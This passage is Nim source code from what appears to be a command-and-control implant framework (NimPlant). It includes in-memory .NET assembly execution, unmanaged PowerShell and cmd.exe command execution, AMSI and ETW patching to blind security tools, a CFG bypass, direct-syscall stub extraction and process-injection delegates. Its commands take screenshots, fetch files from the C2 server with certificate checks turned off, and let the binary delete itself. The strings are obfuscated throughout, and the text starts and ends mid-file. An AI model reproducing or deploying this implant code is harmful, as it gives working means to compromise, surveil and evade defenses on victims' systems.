result.add(obf("[-] Error patching ETW!\n")) 37 | if res == 2: 38 | result.add(obf("[+] ETW already patched!\n")) 39 | 40 | var dec = decryptData(assemblyB64, li.cryptKey) 41 | var decStr: string = cast[string](dec) 42 | var decompressed: string = uncompress(decStr) 43 | 44 | var assembly = load(convertToByteSeq(decompressed)) 45 | var arr = toCLRVariant(args[3 .. ^1], VT_BSTR) 46 | 47 | result.add(obf("[*] Executing...\n")) 48 | 49 | # .NET CLR wizardry to redirect Console.WriteLine output to the nimplant console 50 | let 51 | mscor = load(obf("mscorlib")) 52 | io = load(obf("System.IO")) 53 | Console = mscor.GetType(obf("System.Console")) 54 | StringWriter = io.GetType(obf("System.IO.StringWriter")) 55 | 56 | var sw = @StringWriter.new() 57 | var oldConsOut = @Console.Out 58 | @Console.SetOut(sw) 59 | 60 | # Actual assembly execution 61 | assembly.EntryPoint.Invoke(nil, toCLRVariant([arr])) 62 | 63 | # Restore console properties so we don't break anything, and return captured output 64 | @Console.SetOut(oldConsOut) 65 | var res = fromCLRVariant[string](sw.ToString()) 66 | result.add(res) 67 | 68 | result.add(obf("[+] Execution completed.")) -------------------------------------------------------------------------------- /client/commands/risky/powershell.nim: -------------------------------------------------------------------------------- 1 | import winim/clr except `[]` 2 | from strutils import parseInt 3 | import ../../util/patches 4 | 5 | # Execute a PowerShell command via referencing the System.Management.Automation 6 | # assembly DLL directly without calling powershell.exe 7 | proc powershell*(args : varargs[string]) : string = 8 | # This shouldn't happen since parameters are managed on the Python-side, but you never know 9 | if not args.len >= 2: 10 | result = obf("Invalid number of arguments received. Usage: 'powershell [command]'.") 11 | return 12 | 13 | var 14 | amsi: bool = false 15 | etw: bool = false 16 | commandArgs = args[2 .. ^1].join(obf(" ")) 17 | 18 | amsi = cast[bool](parseInt(args[0])) 19 | etw = cast[bool](parseInt(args[1])) 20 | 21 | result = obf("Executing command via unmanaged PowerShell...\n") 22 | if amsi: 23 | var res = patchAMSI() 24 | if res == 0: 25 | result.add(obf("[+] AMSI patched!\n")) 26 | if res == 1: 27 | result.add(obf("[-] Error patching AMSI!\n")) 28 | if res == 2: 29 | result.add(obf("[+] AMSI already patched!\n")) 30 | if etw: 31 | var res = patchETW() 32 | if res == 0: 33 | result.add(obf("[+] ETW patched!\n")) 34 | if res == 1: 35 | result.add(obf("[-] Error patching ETW!\n")) 36 | if res == 2: 37 | result.add(obf("[+] ETW already patched!\n")) 38 | 39 | let 40 | Automation = load(obf("System.Management.Automation")) 41 | RunspaceFactory = Automation.GetType(obf("System.Management.Automation.Runspaces.RunspaceFactory")) 42 | var 43 | runspace = @RunspaceFactory.CreateRunspace() 44 | pipeline = runspace.CreatePipeline() 45 | 46 | runspace.Open() 47 | pipeline.Commands.AddScript(commandArgs) 48 | pipeline.Commands.Add(obf("Out-String")) 49 | 50 | var pipeOut = pipeline.Invoke() 51 | for i in countUp(0, pipeOut.Count() - 1): 52 | result.add($pipeOut.Item(i)) 53 | 54 | runspace.Dispose() -------------------------------------------------------------------------------- /client/commands/risky/shell.nim: -------------------------------------------------------------------------------- 1 | import osproc 2 | 3 | # Execute a shell command via 'cmd.exe /c' and return output 4 | proc shell*(args : varargs[string]) : string = 5 | var commandArgs : seq[string] 6 | 7 | if args[0] == "": 8 | result = obf("Invalid number of arguments received. Usage: 'shell [command]'.") 9 | else: 10 | commandArgs.add(obf("/c")) 11 | commandArgs.add(args) 12 | result = execProcess(obf("cmd"), args=commandArgs, options={poUsePath, poStdErrToStdOut, poDaemon}) -------------------------------------------------------------------------------- /client/commands/rm.nim: -------------------------------------------------------------------------------- 1 | from os import dirExists, removeDir, removeFile 2 | from strutils import join 3 | 4 | # Remove a system file or folder 5 | proc rm*(args : varargs[string]) : string = 6 | var path = args.join(obf(" ")) 7 | 8 | if path == "": 9 | result = obf("Invalid number of arguments received. Usage: 'rm [path]'.") 10 | else: 11 | if dirExists(path): 12 | removeDir(path) 13 | else: 14 | removeFile(path) 15 | result = obf("Removed '") & path & obf("'.") -------------------------------------------------------------------------------- /client/commands/run.nim: -------------------------------------------------------------------------------- 1 | import osproc 2 | 3 | # Execute a binary as a subprocess and return output 4 | proc run*(args : varargs[string]) : string = 5 | 6 | var 7 | target : string 8 | arguments : seq[string] 9 | 10 | if args.len >= 1 and args[0] != "": 11 | target = args[0] 12 | arguments = args[1 .. ^1] 13 | else: 14 | result = obf("Invalid number of arguments received. Usage: 'run [binary] '.") 15 | return 16 | 17 | result = execProcess(target, args=arguments, options={poUsePath, poStdErrToStdOut, poDaemon}) -------------------------------------------------------------------------------- /client/commands/screenshot.nim: -------------------------------------------------------------------------------- 1 | from winim import BI_RGB, BitBlt, BitmapInfo, CreateCompatibleBitmap, CreateCompatibleDC, 2 | CreateDIBSection, DeleteObject, DIB_RGB_COLORS, GetClientRect, GetDC, 3 | GetDesktopWindow, GetDIBits, SelectObject, SRCCOPY 4 | from winim/inc/windef import Rect, HWND 5 | import base64 6 | import pixie 7 | import zippy 8 | 9 | # Take a screenshot of the user's desktop and send it back as an encoded string 10 | proc screenshot*(args : varargs[string]) : string = 11 | # Get the size of the main screen 12 | var screenRectangle : windef.Rect 13 | GetClientRect(GetDesktopWindow(), addr screenRectangle) 14 | let 15 | width = screenRectangle.right - screenRectangle.left 16 | height = screenRectangle.bottom - screenRectangle.top 17 | 18 | # Create a bitmap to store the screenshot 19 | var image = newImage(width, height) 20 | 21 | # Copy screen to bitmap image 22 | var 23 | hScreen = GetDC(cast[HWND](nil)) 24 | hDC = CreateCompatibleDC(hScreen) 25 | hBitmap = CreateCompatibleBitmap(hScreen, int32(width), int32(height)) 26 | 27 | discard SelectObject(hDC, hBitmap) 28 | discard BitBlt(hDC, 0, 0, int32(width), int32(height), hScreen, int32(screenRectangle.left), int32(screenRectangle.top), SRCCOPY) 29 | 30 | # Set up the bitmap image structure 31 | var bmi : BitmapInfo 32 | bmi.bmiHeader.biSize = int32(sizeof(BitmapInfo)) 33 | bmi.bmiHeader.biWidth = int32(width) 34 | bmi.bmiHeader.biHeight = int32(height) 35 | bmi.bmiHeader.biPlanes = 1 36 | bmi.bmiHeader.biBitCount = 32 37 | bmi.bmiHeader.biCompression = BI_RGB 38 | bmi.bmiHeader.biSizeImage = width * height * 4 39 | 40 | # Copy the bitmap data into the image 41 | discard CreateDIBSection(hDC, addr bmi, DIB_RGB_COLORS, cast[ptr pointer](unsafeAddr image.data[0]), 0, 0) 42 | discard GetDIBits(hDC, hBitmap, 0, height, cast[pointer](unsafeAddr image.data[0]), addr bmi, DIB_RGB_COLORS) 43 | 44 | # Flip the resulting image to the correct orientation 45 | image.flipVertical() 46 | for i in 0 ..< image.width * image.height: 47 | swap(image.data[i].r, image.data[i].b) 48 | 49 | # Encode the image as PNG, and compress and encode it for transmission 50 | result = base64.encode(compress(image.encodeImage(PngFormat))) 51 | 52 | # Clean up 53 | discard DeleteObject(hBitmap) 54 | discard DeleteObject(hDC) -------------------------------------------------------------------------------- /client/commands/upload.nim: -------------------------------------------------------------------------------- 1 | from ../util/webClient import Listener 2 | from os import getcurrentdir, `/` 3 | from strutils import join, split, toLowerAscii 4 | from zippy import uncompress 5 | import ../util/crypto 6 | import puppy 7 | 8 | # Upload a file from the C2 server to NimPlant 9 | # From NimPlant's perspective this is similar to wget, but calling to the C2 server instead 10 | proc upload*(li : Listener, cmdGuid : string, args : varargs[string]) : string = 11 | var 12 | fileId : string 13 | fileName : string 14 | filePath : string 15 | url : string 16 | 17 | if args.len == 2 and args[0] != "" and args[1] != "": 18 | fileId = args[0] 19 | fileName = args[1] 20 | filePath = getCurrentDir()/fileName 21 | elif args.len >= 3: 22 | fileId = args[0] 23 | fileName = args[1] 24 | filePath = args[2 .. ^1].join(obf(" ")) 25 | else: 26 | # Handling of the second argument (filename) is done by the python server 27 | result = obf("Invalid number of arguments received. Usage: 'upload [local file] '.") 28 | return 29 | 30 | url = toLowerAscii(li.listenerType) & obf("://") 31 | if li.listenerHost != "": 32 | url = url & li.listenerHost 33 | else: 34 | url = url & li.listenerIp & obf(":") & li.listenerPort 35 | url = url & li.taskpath & obf("/") & fileId 36 | 37 | # Get the file - Puppy will take care of transparent deflation of the gzip layer 38 | let req = Request( 39 | url: parseUrl(url), 40 | headers: @[ 41 | Header(key: obf("User-Agent"), value: li.userAgent), 42 | Header(key: obf("X-Identifier"), value: li.id), # Nimplant ID 43 | Header(key: obf("X-Unique-ID"), value: cmdGuid) # Task GUID 44 | ], 45 | allowAnyHttpsCertificate: true, 46 | ) 47 | let res: Response = fetch(req) 48 | 49 | # Check the result 50 | if res.code != 200: 51 | result = obf("Something went wrong uploading the file (NimPlant did not receive response from staging server '") & url & obf("').") 52 | return 53 | 54 | # Handle the encrypted and compressed response 55 | var dec = decryptData(res.body, li.cryptKey) 56 | var decStr: string = cast[string](dec) 57 | var fileBuffer: seq[byte] = convertToByteSeq(uncompress(decStr)) 58 | 59 | # Write the file to the target path 60 | filePath.writeFile(fileBuffer) 61 | result = obf("Uploaded file to '") & filePath & obf("'.") -------------------------------------------------------------------------------- /client/commands/wget.nim: -------------------------------------------------------------------------------- 1 | import puppy 2 | from strutils import join, split 3 | from os import getcurrentdir, `/` 4 | from ../util/webClient import Listener 5 | 6 | # Curl an HTTP webpage to stdout 7 | proc wget*(li : Listener, args : varargs[string]) : string = 8 | var 9 | url : string 10 | filename : string 11 | res : string 12 | 13 | if args.len == 1 and args[0] != "": 14 | url = args[0] 15 | filename = getCurrentDir()/url.split(obf("/"))[^1] 16 | elif args.len >= 2: 17 | url = args[0] 18 | filename = args[1 .. ^1].join(obf(" ")) 19 | else: 20 | result = obf("Invalid number of arguments received. Usage: 'wget [URL] '.") 21 | return 22 | 23 | res = fetch( 24 | url, 25 | headers = @[Header(key: obf("User-Agent"), value: li.userAgent)] 26 | ) 27 | 28 | if res == "": 29 | result = obf("No response received. Ensure you format the url correctly and that the target server exists. Example: 'wget https://yourhost.com/file.exe'.") 30 | else: 31 | filename.writeFile(res) 32 | result = obf("Downloaded file from '") & url & obf("' to '") & filename & obf("'.") -------------------------------------------------------------------------------- /client/commands/whoami.nim: -------------------------------------------------------------------------------- 1 | from winim/lean import GetUserNameW, CloseHandle, GetCurrentProcess, GetLastError, GetTokenInformation, OpenProcessToken, tokenElevation, 2 | TOKEN_ELEVATION, TOKEN_INFORMATION_CLASS, TOKEN_QUERY, HANDLE, PHANDLE, DWORD, PDWORD, LPVOID, LPWSTR, WCHAR 3 | from winim/utils import `&` 4 | from winim/inc/lm import UNLEN 5 | import winim/winstr 6 | import ../util/strenc 7 | 8 | # Determine if the user is elevated (running in high-integrity context) 9 | proc isUserElevated(): bool = 10 | var 11 | tokenHandle: HANDLE 12 | elevation = TOKEN_ELEVATION() 13 | cbsize: DWORD = 0 14 | 15 | if OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, cast[PHANDLE](addr(tokenHandle))) == 0: 16 | when defined verbose: 17 | echo obf("DEBUG: Cannot query tokens: ") & $GetLastError() 18 | return false 19 | 20 | if GetTokenInformation(tokenHandle, tokenElevation, cast[LPVOID](addr(elevation)), cast[DWORD](sizeOf(elevation)), cast[PDWORD](addr(cbsize))) == 0: 21 | when defined verbose: 22 | echo obf("DEBUG: Cannot retrieve token information: ") & $GetLastError() 23 | discard CloseHandle(tokenHandle) 24 | return false 25 | 26 | result = elevation.TokenIsElevated != 0 27 | 28 | # Get the current username via the GetUserName API 29 | proc whoami*() : string = 30 | var 31 | buf = newWString(UNLEN + 1) 32 | cb = DWORD buf.len 33 | 34 | discard GetUserNameW(&buf, &cb) 35 | buf.setLen(cb - 1) 36 | result.add($buf) 37 | 38 | if isUserElevated(): 39 | result.add(obf("*")) -------------------------------------------------------------------------------- /client/util/cfg.nim: -------------------------------------------------------------------------------- 1 | # This is a Nim-Port of the CFG bypass required for Ekko sleep to work in a CFG enabled process (like rundll32.exe) 2 | # Original works : https://github.com/ScriptIdiot/sleepmask_ekko_cfg, https://github.com/Crypt0s/Ekko_CFG_Bypass 3 | import winim/lean 4 | import strenc 5 | 6 | type 7 | CFG_CALL_TARGET_INFO {.pure.} = object 8 | Offset: ULONG_PTR 9 | Flags: ULONG_PTR 10 | 11 | type 12 | VM_INFORMATION {.pure.} = object 13 | dwNumberOfOffsets: DWORD 14 | plOutput: ptr ULONG 15 | ptOffsets: ptr CFG_CALL_TARGET_INFO 16 | pMustBeZero: PVOID 17 | pMoarZero: PVOID 18 | 19 | type 20 | MEMORY_RANGE_ENTRY {.pure.} = object 21 | VirtualAddress: PVOID 22 | NumberOfBytes: SIZE_T 23 | 24 | type 25 | VIRTUAL_MEMORY_INFORMATION_CLASS {.pure.} = enum 26 | VmPrefetchInformation 27 | VmPagePriorityInformation 28 | VmCfgCalltargetInformation 29 | VmPageDirtyStateInformation 30 | 31 | type 32 | NtSetInformationVirtualMemory_t = proc (hProcess: HANDLE, VmInformationClass: VIRTUAL_MEMORY_INFORMATION_CLASS, NumberOfEntries: ULONG_PTR, VirtualAddresses: ptr MEMORY_RANGE_ENTRY, VmInformation: PVOID, VmInformationLength: ULONG): NTSTATUS {.stdcall.} 33 | 34 | # Value taken from: https://www.codemachine.com/downloads/win10.1803/winnt.h 35 | var CFG_CALL_TARGET_VALID = 0x00000001 36 | 37 | proc evadeCFG*(address: PVOID): BOOl = 38 | var dwOutput: ULONG 39 | var status: NTSTATUS 40 | var mbi: MEMORY_BASIC_INFORMATION 41 | var VmInformation: VM_INFORMATION 42 | var VirtualAddresses: MEMORY_RANGE_ENTRY 43 | var OffsetInformation: CFG_CALL_TARGET_INFO 44 | var size: SIZE_T 45 | 46 | # Get start of region in which function resides 47 | size = VirtualQuery(address, addr(mbi), sizeof(mbi)) 48 | 49 | if size == 0x0: 50 | return false 51 | 52 | if mbi.State != MEM_COMMIT or mbi.Type != MEM_IMAGE: 53 | return false 54 | 55 | # Region in which to mark functions as valid CFG call targets 56 | VirtualAddresses.NumberOfBytes = cast[SIZE_T](mbi.RegionSize) 57 | VirtualAddresses.VirtualAddress = cast[PVOID](mbi.BaseAddress) 58 | 59 | # Create an Offset Information for the function that should be marked as valid for CFG 60 | OffsetInformation.Offset = cast[ULONG_PTR](address) - cast[ULONG_PTR](mbi.BaseAddress) 61 | OffsetInformation.Flags = CFG_CALL_TARGET_VALID # CFG_CALL_TARGET_VALID 62 | 63 | # Wrap the offsets into a VM_INFORMATION 64 | VmInformation.dwNumberOfOffsets = 0x1 65 | VmInformation.plOutput = addr(dwOutput) 66 | VmInformation.ptOffsets = addr(OffsetInformation) 67 | VmInformation.pMustBeZero = nil 68 | VmInformation.pMoarZero = nil 69 | 70 | # Resolve the function 71 | var NtSetInformationVirtualMemory = cast[NtSetInformationVirtualMemory_t]( 72 | GetProcAddress(LoadLibraryA(obf("ntdll")), obf("NtSetInformationVirtualMemory")) 73 | ) 74 | 75 | # Register `address` as a valid call target for CFG 76 | status = NtSetInformationVirtualMemory( 77 | GetCurrentProcess(), 78 | VmCfgCalltargetInformation, 79 | cast[ULONG_PTR](1), 80 | addr(VirtualAddresses), 81 | cast[PVOID](addr(VmInformation)), 82 | cast[ULONG](sizeof(VmInformation)) 83 | ) 84 | 85 | if status != 0x0: 86 | return false 87 | 88 | return true -------------------------------------------------------------------------------- /client/util/crypto.nim: -------------------------------------------------------------------------------- 1 | import nimcrypto, base64, random 2 | from strutils import strip 3 | 4 | # Calculate the XOR of a string with a certain key 5 | # This function is explicitly intended for use for pre-key exchange crypto operations (decoding key) 6 | proc xorString*(s: string, key: int): string {.noinline.} = 7 | var k = key 8 | result = s 9 | for i in 0 ..< result.len: 10 | for f in [0, 8, 16, 24]: 11 | result[i] = chr(uint8(result[i]) xor uint8((k shr f) and 0xFF)) 12 | k = k +% 1 13 | 14 | # XOR a string to a sequence of raw bytes 15 | # This function is explicitly intended for use with the embedded config file (for evasion) 16 | proc xorStringToByteSeq*(str: string, key: int): seq[byte] {.noinline.} = 17 | let length = str.len 18 | var k = key 19 | result = newSeq[byte](length) 20 | 21 | # Bitwise copy since we can't use 'copyMem' since it will be called at compile-time 22 | for i in 0 ..< result.len: 23 | result[i] = str[i].byte 24 | 25 | # Do the XOR 26 | for i in 0 ..< result.len: 27 | for f in [0, 8, 16, 24]: 28 | result[i] = uint8(result[i]) xor uint8((k shr f) and 0xFF) 29 | k = k +% 1 30 | 31 | # XOR a raw byte sequence back to a string 32 | proc xorByteSeqToString*(input: seq[byte], key: int): string {.noinline.} = 33 | let length = input.len 34 | var k = key 35 | 36 | # Since this proc is used at runtime, we can use 'copyMem' 37 | result = newString(length) 38 | copyMem(result[0].unsafeAddr, input[0].unsafeAddr, length) 39 | 40 | # Do the XOR and convert back to character 41 | for i in 0 ..< result.len: 42 | for f in [0, 8, 16, 24]: 43 | result[i] = chr(uint8(result[i]) xor uint8((k shr f) and 0xFF)) 44 | k = k +% 1 45 | 46 | # Get a random string 47 | proc rndStr(len : int) : string = 48 | randomize() 49 | for _ in 0..(len-1): 50 | add(result, char(rand(int('A') .. int('z')))) 51 | 52 | # Converts a string to the corresponding byte sequence. 53 | # https://github.com/nim-lang/Nim/issues/14810 54 | func convertToByteSeq*(str: string): seq[byte] {.inline.} = 55 | @(str.toOpenArrayByte(0, str.high)) 56 | 57 | # Converts a byte sequence to the corresponding string. 58 | func convertToString(bytes: openArray[byte]): string {.inline.} = 59 | let length = bytes.len 60 | if length > 0: 61 | result = newString(length) 62 | copyMem(result[0].unsafeAddr, bytes[0].unsafeAddr, length) 63 | 64 | # Decrypt a blob of encrypted data with the given key 65 | proc decryptData*(blob: string, key: string): string = 66 | let 67 | blobBytes = convertToByteSeq(decode(blob)) 68 | iv = blobBytes[0 .. 15] 69 | var 70 | enc = newSeq[byte](blobBytes.len) 71 | dec = newSeq[byte](blobBytes.len) 72 | keyBytes = convertToByteSeq(key) 73 | dctx: CTR[aes128] 74 | 75 | enc = blobBytes[16 .. ^1] 76 | dctx.init(keyBytes, iv) 77 | dctx.decrypt(enc, dec) 78 | dctx.clear() 79 | result = convertToString(dec).strip(leading=false, chars={'\0'}) 80 | 81 | # Encrypt a input string with the given key 82 | proc encryptData*(data: string, key: string): string = 83 | let 84 | dataBytes : seq[byte] = convertToByteSeq(data) 85 | var 86 | iv: string = rndStr(16) 87 | enc = newSeq[byte](len(dataBytes)) 88 | dec = newSeq[byte](len(dataBytes)) 89 | dec = dataBytes 90 | var dctx: CTR[aes128] 91 | dctx.init(key, iv) 92 | dctx.encrypt(dec, enc) 93 | dctx.clear() 94 | result = encode(convertToByteSeq(iv) & enc) -------------------------------------------------------------------------------- /client/util/patches.nim: -------------------------------------------------------------------------------- 1 | import winim/lean 2 | import dynlib 3 | import strenc 4 | 5 | # Patch AMSI to stop dotnet and unmanaged powershell buffers from being scanned 6 | proc patchAMSI*(): int = 7 | const 8 | patchBytes: array[3, byte] = [byte 0x48, 0x31, 0xc0] 9 | var 10 | amsi: LibHandle 11 | patchAddress: pointer 12 | oldProtect: DWORD 13 | tmp: DWORD 14 | currentBytes: array[3, byte] 15 | 16 | amsi = loadLib(obf("amsi")) 17 | if isNil(amsi): 18 | return 1 # ERR 19 | 20 | patchAddress = cast[pointer](cast[int](amsi.symAddr(obf("AmsiScanBuffer"))) + cast[int](0x6a)) 21 | if isNil(patchAddress): 22 | return 1 # ERR 23 | 24 | # Verify if AMSI has already been patched 25 | copyMem(addr(currentBytes[0]), patchAddress, 3) 26 | if currentBytes == patchBytes: 27 | return 2 # Already patched 28 | 29 | if VirtualProtect(patchAddress, patchBytes.len, 0x40, addr oldProtect): 30 | copyMem(patchAddress, unsafeAddr patchBytes, patchBytes.len) 31 | VirtualProtect(patchAddress, patchBytes.len, oldProtect, addr tmp) 32 | return 0 # OK 33 | 34 | return 1 # ERR 35 | 36 | # Patch ETW to stop event tracing 37 | proc patchETW*(): int = 38 | const 39 | patchBytes: array[1, byte] = [byte 0xc3] 40 | var 41 | ntdll: LibHandle 42 | patchAddress: pointer 43 | oldProtect: DWORD 44 | tmp: DWORD 45 | currentBytes: array[1, byte] 46 | 47 | ntdll = loadLib(obf("ntdll")) 48 | if isNil(ntdll): 49 | return 1 # ERR 50 | 51 | patchAddress = ntdll.symAddr(obf("EtwEventWrite")) 52 | if isNil(patchAddress): 53 | return 1 # ERR 54 | 55 | # Verify if ETW has already been patched 56 | copyMem(addr(currentBytes[0]), patchAddress, 1) 57 | if currentBytes == patchBytes: 58 | return 2 # Already patched 59 | 60 | if VirtualProtect(patchAddress, patchBytes.len, 0x40, addr oldProtect): 61 | copyMem(patchAddress, unsafeAddr patchBytes, patchBytes.len) 62 | VirtualProtect(patchAddress, patchBytes.len, oldProtect, addr tmp) 63 | return 0 # OK 64 | 65 | return 1 # ERR -------------------------------------------------------------------------------- /client/util/risky/delegates.nim: -------------------------------------------------------------------------------- 1 | import winim/lean 2 | 3 | type 4 | PS_ATTR_UNION* {.pure, union.} = object 5 | Value*: ULONG 6 | ValuePtr*: PVOID 7 | PS_ATTRIBUTE* {.pure.} = object 8 | Attribute*: ULONG 9 | Size*: SIZE_T 10 | u1*: PS_ATTR_UNION 11 | ReturnLength*: PSIZE_T 12 | PPS_ATTRIBUTE* = ptr PS_ATTRIBUTE 13 | PS_ATTRIBUTE_LIST* {.pure.} = object 14 | TotalLength*: SIZE_T 15 | Attributes*: array[2, PS_ATTRIBUTE] 16 | PPS_ATTRIBUTE_LIST* = ptr PS_ATTRIBUTE_LIST 17 | KNORMAL_ROUTINE* {.pure.} = object 18 | NormalContext*: PVOID 19 | SystemArgument1*: PVOID 20 | SystemArgument2*: PVOID 21 | PKNORMAL_ROUTINE* = ptr KNORMAL_ROUTINE 22 | 23 | type NtOpenProcess* = proc( 24 | ProcessHandle: PHANDLE, 25 | DesiredAccess: ACCESS_MASK, 26 | ObjectAttributes: POBJECT_ATTRIBUTES, 27 | ClientId: PCLIENT_ID): NTSTATUS {.stdcall.} 28 | 29 | type NtAllocateVirtualMemory* = proc( 30 | ProcessHandle: HANDLE, 31 | BaseAddress: PVOID, 32 | ZeroBits: ULONG, 33 | RegionSize: PSIZE_T, 34 | AllocationType: ULONG, 35 | Protect: ULONG): NTSTATUS {.stdcall.} 36 | 37 | type NtWriteVirtualMemory* = proc( 38 | ProcessHandle: HANDLE, 39 | BaseAddress: PVOID, 40 | Buffer: PVOID, 41 | NumberOfBytesToWrite: SIZE_T, 42 | NumberOfBytesWritten: PSIZE_T): NTSTATUS {.stdcall.} 43 | 44 | type NtProtectVirtualMemory* = proc( 45 | ProcessHandle: HANDLE, 46 | BaseAddress: PVOID, 47 | NumberOfBytesToProtect: PSIZE_T, 48 | NewAccessProtection: ULONG, 49 | OldAccessProtection: PULONG): NTSTATUS {.stdcall.} 50 | 51 | type NtCreateThreadEx* = proc( 52 | ThreadHandle: PHANDLE, 53 | DesiredAccess: ACCESS_MASK, 54 | ObjectAttributes: POBJECT_ATTRIBUTES, 55 | ProcessHandle: HANDLE, 56 | StartRoutine: PVOID, 57 | Argument: PVOID, 58 | CreateFlags: ULONG, 59 | ZeroBits: SIZE_T, 60 | StackSize: SIZE_T, 61 | MaximumStackSize: SIZE_T, 62 | AttributeList: PPS_ATTRIBUTE_LIST): NTSTATUS {.stdcall.} -------------------------------------------------------------------------------- /client/util/risky/dinvoke.nim: -------------------------------------------------------------------------------- 1 | import winim/lean 2 | import strutils 3 | import ptr_math 4 | 5 | var 6 | SYSCALL_STUB_SIZE*: int = 23 7 | 8 | proc RVAtoRawOffset(RVA: DWORD_PTR, section: PIMAGE_SECTION_HEADER): PVOID = 9 | return cast[PVOID](RVA - section.VirtualAddress + section.PointerToRawData) 10 | 11 | proc toString(bytes: openarray[byte]): string = 12 | result = newString(bytes.len) 13 | copyMem(result[0].addr, bytes[0].unsafeAddr, bytes.len) 14 | 15 | proc GetSyscallStub*(functionName: LPCSTR, syscallStub: LPVOID): BOOL = 16 | var 17 | file: HANDLE 18 | fileSize: DWORD 19 | bytesRead: DWORD 20 | fileData: LPVOID 21 | ntdllString: LPCSTR = "C:\\windows\\system32\\ntdll.dll" 22 | nullHandle: HANDLE 23 | 24 | file = CreateFileA(ntdllString, cast[DWORD](GENERIC_READ), cast[DWORD](FILE_SHARE_READ), cast[LPSECURITY_ATTRIBUTES](NULL), cast[DWORD](OPEN_EXISTING), cast[DWORD](FILE_ATTRIBUTE_NORMAL), nullHandle) 25 | fileSize = GetFileSize(file, nil) 26 | fileData = HeapAlloc(GetProcessHeap(), 0, fileSize) 27 | ReadFile(file, fileData, fileSize, addr bytesRead, nil) 28 | 29 | var 30 | dosHeader: PIMAGE_DOS_HEADER = cast[PIMAGE_DOS_HEADER](fileData) 31 | imageNTHeaders: PIMAGE_NT_HEADERS = cast[PIMAGE_NT_HEADERS](cast[DWORD_PTR](fileData) + dosHeader.e_lfanew) 32 | exportDirRVA: DWORD = imageNTHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress 33 | section: PIMAGE_SECTION_HEADER = IMAGE_FIRST_SECTION(imageNTHeaders) 34 | textSection: PIMAGE_SECTION_HEADER = section 35 | rdataSection: PIMAGE_SECTION_HEADER = section 36 | 37 | let i: uint16 = 0 38 | for Section in i ..< imageNTHeaders.FileHeader.NumberOfSections: 39 | var ntdllSectionHeader = cast[PIMAGE_SECTION_HEADER](cast[DWORD_PTR](IMAGE_FIRST_SECTION(imageNTHeaders)) + cast[DWORD_PTR](IMAGE_SIZEOF_SECTION_HEADER * Section)) 40 | if ".rdata" in toString(ntdllSectionHeader.Name): 41 | rdataSection = ntdllSectionHeader 42 | 43 | var exportDirectory: PIMAGE_EXPORT_DIRECTORY = cast[PIMAGE_EXPORT_DIRECTORY](RVAtoRawOffset(cast[DWORD_PTR](fileData) + exportDirRVA, rdataSection)) 44 | 45 | var addressOfNames: PDWORD = cast[PDWORD](RVAtoRawOffset(cast[DWORD_PTR](fileData) + cast[DWORD_PTR](exportDirectory.AddressOfNames), rdataSection)) 46 | var addressOfFunctions: PDWORD = cast[PDWORD](RVAtoRawOffset(cast[DWORD_PTR](fileData) + cast[DWORD_PTR](exportDirectory.AddressOfFunctions), rdataSection)) 47 | var stubFound: BOOL = 0 48 | 49 | let j: int = 0 50 | for j in 0 ..< exportDirectory.NumberOfNames: 51 | var functionNameVA: DWORD_PTR = cast[DWORD_PTR](RVAtoRawOffset(cast[DWORD_PTR](fileData) + addressOfNames[j], rdataSection)) 52 | var functionVA: DWORD_PTR = cast[DWORD_PTR](RVAtoRawOffset(cast[DWORD_PTR](fileData) + addressOfFunctions[j + 1], textSection)) 53 | var functionNameResolved: LPCSTR = cast[LPCSTR](functionNameVA) 54 | var compare: int = lstrcmpA(functionNameResolved,functionName) 55 | if (compare == 0): 56 | copyMem(syscallStub, cast[LPVOID](functionVA), SYSCALL_STUB_SIZE) 57 | stubFound = 1 58 | 59 | return stubFound -------------------------------------------------------------------------------- /client/util/selfDelete.nim: -------------------------------------------------------------------------------- 1 | import strenc 2 | from winim import PathFileExistsW 3 | from winim/lean import HINSTANCE, DWORD, LPVOID, WCHAR, PWCHAR, LPWSTR, HANDLE, NULL, TRUE, WINBOOL, MAX_PATH 4 | from winim/lean import DELETE, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, FILE_DISPOSITION_INFO, INVALID_HANDLE_VALUE 5 | from winim/lean import CreateFileW, RtlSecureZeroMemory, RtlCopyMemory, SetFileInformationByHandle, GetModuleFileNameW, CloseHandle 6 | 7 | type 8 | FILE_RENAME_INFO = object 9 | ReplaceIfExists*: WINBOOL 10 | RootDirectory*: HANDLE 11 | FileNameLength*: DWORD 12 | FileName*: array[8, WCHAR] 13 | 14 | proc dsOpenHandle(pwPath: PWCHAR): HANDLE = 15 | return CreateFileW(pwPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0) 16 | 17 | proc dsRenameHandle(hHandle: HANDLE): WINBOOL = 18 | let DS_STREAM_RENAME = newWideCString(obf(":msrpcsv")) 19 | 20 | var fRename : FILE_RENAME_INFO 21 | RtlSecureZeroMemory(addr fRename, sizeof(fRename)) 22 | 23 | var lpwStream : LPWSTR = cast[LPWSTR](DS_STREAM_RENAME[0].unsafeaddr) 24 | fRename.FileNameLength = sizeof(lpwStream).DWORD; 25 | RtlCopyMemory(addr fRename.FileName, lpwStream, sizeof(lpwStream)) 26 | 27 | return SetFileInformationByHandle(hHandle, 3, addr fRename, sizeof(fRename) + sizeof(lpwStream)) # fileRenameInfo* = 3 28 | 29 | proc dsDepositeHandle(hHandle: HANDLE): WINBOOL = 30 | var fDelete : FILE_DISPOSITION_INFO 31 | RtlSecureZeroMemory(addr fDelete, sizeof(fDelete)) 32 | 33 | fDelete.DeleteFile = TRUE; 34 | 35 | return SetFileInformationByHandle(hHandle, 4, addr fDelete, sizeof(fDelete).cint) # fileDispositionInfo* = 4 36 | 37 | proc selfDelete*(): void = 38 | var 39 | wcPath : array[MAX_PATH + 1, WCHAR] 40 | hCurrent : HANDLE 41 | 42 | RtlSecureZeroMemory(addr wcPath[0], sizeof(wcPath)); 43 | 44 | if GetModuleFileNameW(0, addr wcPath[0], MAX_PATH) == 0: 45 | when defined verbose: 46 | echo obf("DEBUG: Failed to get the current module handle") 47 | quit(QuitFailure) 48 | 49 | hCurrent = dsOpenHandle(addr wcPath[0]) 50 | if hCurrent == INVALID_HANDLE_VALUE: 51 | when defined verbose: 52 | echo obf("DEBUG: Failed to acquire handle to current running process") 53 | quit(QuitFailure) 54 | 55 | when defined verbose: 56 | echo obf("DEBUG: Attempting to rename file name") 57 | 58 | if not dsRenameHandle(hCurrent).bool: 59 | when defined verbose: 60 | echo obf("DEBUG: Failed to rename to stream") 61 | quit(QuitFailure) 62 